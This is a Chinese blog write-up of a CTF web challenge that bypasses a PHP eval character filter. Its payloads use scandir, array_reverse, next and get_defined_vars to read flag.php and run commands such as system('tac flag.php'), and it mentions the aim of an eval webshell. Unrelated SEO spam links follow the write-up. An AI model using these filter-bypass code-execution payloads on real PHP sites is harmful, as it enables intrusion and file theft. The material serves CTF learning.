当前位置: 首页 > wzjs >正文

电子商务网站建设期末试题及答案安徽圣力建设集团网站

电子商务网站建设期末试题及答案,安徽圣力建设集团网站,网站设计的分辨率,建设银行的官方网站信息收集 怎么一下子多这么多过滤啊,我以为跳过了好几题 这又能eval了,但是连$也不能用了 不能用. * ?,所以打不出fla*或者fla?????了 不能用/,构造不出日志注入和伪协议包含 仔细观察,禁的是中文的括号&#x…

信息收集

怎么一下子多这么多过滤啊,我以为跳过了好几题
这又能eval了,但是连$也不能用了
不能用. * ?,所以打不出fla*或者fla?????
不能用/,构造不出日志注入和伪协议包含
仔细观察,禁的是中文的括号,和英文括号没关系,所以我们用函数解决

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

解题

前置知识:

一些php函数:

  • pos:函数返回数组中的当前元素的值
  • current:返回数组中的当前元素的值
  • end:将内部指针指向数组中的最后一个元素,并输出
  • next:将内部指针指向数组中的下一个元素,并输出
  • prev:将内部指针指向数组中的上一个元素,并输出
  • reset:将内部指针指向数组中的第一个元素,并输出
  • array_reverse:翻转数组,例如[1,2,3,4] ⇒ [4,3,2,1]
  • getcwd:获取当前目录
  • pos(localeconv()):老师傅们的骚操作,这能拿到一个.,替代当前目录
  • scandir:获取指定路径下的目录列表
  • get_defined_vars:函数返回由所有已定义变量所组成的数组
  • print_r:打印数组
  • var_dump:啥都能打印,只是看着比较乱

方法1

第一步,查目录

print_r:打印数组
var_dump:啥都能打印,数组,类,字符串,数值。缺点是看着很乱

?c=print_r(scandir(getcwd()));

在这里插入图片描述

第二步,获取flag.php

本来想着[2]就能拿到了,但是数字被过滤了,这时候可以[TRUE+TRUE],但是[]都被过滤了
所以只能另辟蹊径了

Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
使用了array_reverse后,变成
Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )
用next取第二个就是flag.php了

所以索引到flag.php使用如下代码

?c=next(array_reverse(print_r(scandir(getcwd()))));

遗憾的是如果文件名在中间就没办法了。
我想到了使用pop或者unset来删除元素,可惜的是这些函数不会返回数组
同样的使用next也仅能够移动一次指针,返回的是数组里的值,而不是数组
这个数组是临时的,我们无法使用$生成变量来保存这个数组

第三步,拿到flag

show_source和highlight_file都一样

?c=highlight_file(next(array_reverse(scandir(getcwd()))));

方法2

观察函数,找突破点

?c=print_r(get_defined_vars)

能观察到我们写的print_r(get_defined_vars),再多写一个参数试试

?c=print_r(get_defined_vars());&1=111111111

在这里插入图片描述
拿到这个参数

?c=print_r(end(current(get_defined_vars())));&1=111111111

我们拿到这个参数了,所以end(current(get_defined_vars())) = $_GET[1]字符串

获取flag

这里为什么多写了一个eval,因为end(current(get_defined_vars())) = $_GET[1]的字符串,例如:1= 123 eval($_GET[c])eval("end(current(get_defined_vars()))")end(current(get_defined_vars())) = ‘123’,传入的字符串已经被执行完毕了,最后end的返回值是一个字符串

?c=eval(end(current(get_defined_vars())));&1=system('ls');
?c=eval(end(current(get_defined_vars())));&1=system('tac flag.php');

在这里插入图片描述

拓展

结合方法1,可以构造payload:
end(current(get_defined_vars())) = flag.php

?c=show_source(end(current(get_defined_vars())));&1=flag.php

其实这没有意义,我们想要的效果其实是eval($_POST[1])这样的木马,这能执行任意代码


web39    目录    web41


文章转载自:

http://ZPh210gK.qLLcp.cn
http://fUxXcOFk.qLLcp.cn
http://v7wJTkIq.qLLcp.cn
http://gTlSsxtK.qLLcp.cn
http://IytvXhI4.qLLcp.cn
http://mpNADit8.qLLcp.cn
http://x7HeIqG9.qLLcp.cn
http://orIBizhk.qLLcp.cn
http://IMBrsxA6.qLLcp.cn
http://FotCO7o7.qLLcp.cn
http://gTbM3xm0.qLLcp.cn
http://MPq3CIjL.qLLcp.cn
http://yb0HrWZR.qLLcp.cn
http://XcJ3ohWX.qLLcp.cn
http://YOfhVCO0.qLLcp.cn
http://FDx6e4kQ.qLLcp.cn
http://bRnQzb2V.qLLcp.cn
http://jZtdneje.qLLcp.cn
http://nQsg3aYo.qLLcp.cn
http://2L1S0S76.qLLcp.cn
http://LymadCTI.qLLcp.cn
http://njAd6yYU.qLLcp.cn
http://vT8CrKYz.qLLcp.cn
http://fS7Z9NcX.qLLcp.cn
http://ZIZcZlmd.qLLcp.cn
http://meNg0PKi.qLLcp.cn
http://XEV0Xr44.qLLcp.cn
http://6kEuVyWJ.qLLcp.cn
http://iU1dReJ5.qLLcp.cn
http://w1dcm15j.qLLcp.cn
http://www.dtcms.com/wzjs/737386.html

相关文章:

  • 优质的网站网页登录
  • 二手车网站模板建设专门做瑜伽的网站
  • 深圳软件开发公司推荐wordpress 内存优化
  • 上海网站推广排名贵阳网站建设 网站制作
  • 页面模板微信优化网站哪家好
  • 彩虹网站建设最近国内重大新闻事件
  • 那个网站做玉石最专业wordpress 多站点错误
  • 做可转债好的网站专业网站建设服务
  • 江苏高校品牌专业建设工程网站房地产网信息
  • 网站开发能从事那些职业ol游戏大全排行榜
  • 网站文件名格式有那些可以自己做壁纸的网站
  • wordpress站点很慢网站建设什么公司专业
  • 表白网站是怎么做的申京效率值联盟第一
  • 安徽省住房与城乡建设网站城乡建设行业证书查询
  • 知名的企业网站建设怎么在百度发布免费广告
  • 个人宽带备案网站成都网站建设大公司
  • 网站访问量js企业网站的主要功能
  • 分类信息网站推广的意义创建网站需要准备哪些资料
  • 介绍移动互联网的网站有哪些网站建设报告论文百度文库
  • 网站备案变更 能让首页关闭 二级域名继续无锡大型网站设计公司
  • 四川住房和城乡建设厅网站打不开公司网页建立
  • 钉钉网站建设服务协议wordpress调用阅读量
  • thinkphp建站网址phpcms v9企业网站模板:蓝色电子科技公司网站模板
  • 免费注册网站互联网平台营销
  • 南安梅山建设银行网站wordpress打赏可见插件
  • 嘉兴门户网站包头市住房与城乡建设部网站
  • 济南网站建设cnwenhui网站设计与网页设计的区别
  • 网站开发容易找工作吗起个娱乐网站名字
  • 爱是做的电影网站wordpress建站发文教程
  • 如何用ps来做网站设计珠海微网站建设